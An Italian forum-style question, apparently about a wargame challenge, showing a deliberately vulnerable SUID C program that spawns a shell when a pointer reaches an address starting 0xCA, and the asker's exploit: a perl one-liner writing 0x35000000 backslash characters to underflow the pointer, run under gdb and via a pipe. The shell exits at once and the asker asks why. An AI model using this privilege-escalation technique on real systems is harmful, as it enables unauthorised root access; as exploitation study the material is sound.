Sto cercando di sfruttare un programma SUID.
Il programma è:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }
void print(unsigned char *buf, int len)
{
int i;
printf("[ ");
for(i=0; i < len; i++) printf("%x ", buf[i]);
printf(" ]\n");
}
int main()
{
unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;
while((x = getchar()) != EOF) {
switch(x) {
case '\n':
print(buf, sizeof(buf)); continue; break;
case '\':
ptr--; break;
default:
e();
if(ptr > buf + sizeof(buf))
continue;
ptr++[0] = x; break;
}
}
printf("All done\n");
}
Possiamo facilmente vedere che se in qualche modo cambiamo il contenuto di ptr in un indirizzo che inizia con CA, verrà generata una nuova shell per noi. E poichè ptr tiene normalmente un indirizzo che inizia con FF il modo per ridurlo (ptr) è inserire \ character. Quindi creo un file con caratteri '\' 0x35000000 e infine 3 'a' alla fine del file
perl -e "print '\\'x889192448" > file # decimal equivalent of 0x35000000
echo aaa >> file # So that e() is called which actually spawns the shell
E infine in gdb,
run < file
Tuttavia, invece di spawnare una shell gdb sta dicendo
process <some number> is executing new program /bin/dash
inferior 1 exited normally
E poi torna al prompt di gdb invece di ottenere una shell. Ho confermato impostando i breakpoint nelle posizioni appropriate che ptr sta effettivamente iniziando con CA prima che setresuid () venga chiamato.
Inoltre, se eseguo il pipe all'esterno di gdb, non accade nulla.
./vulnProg < file
Il prompt di Bash restituisce.
Per favore dimmi dove sto sbagliando.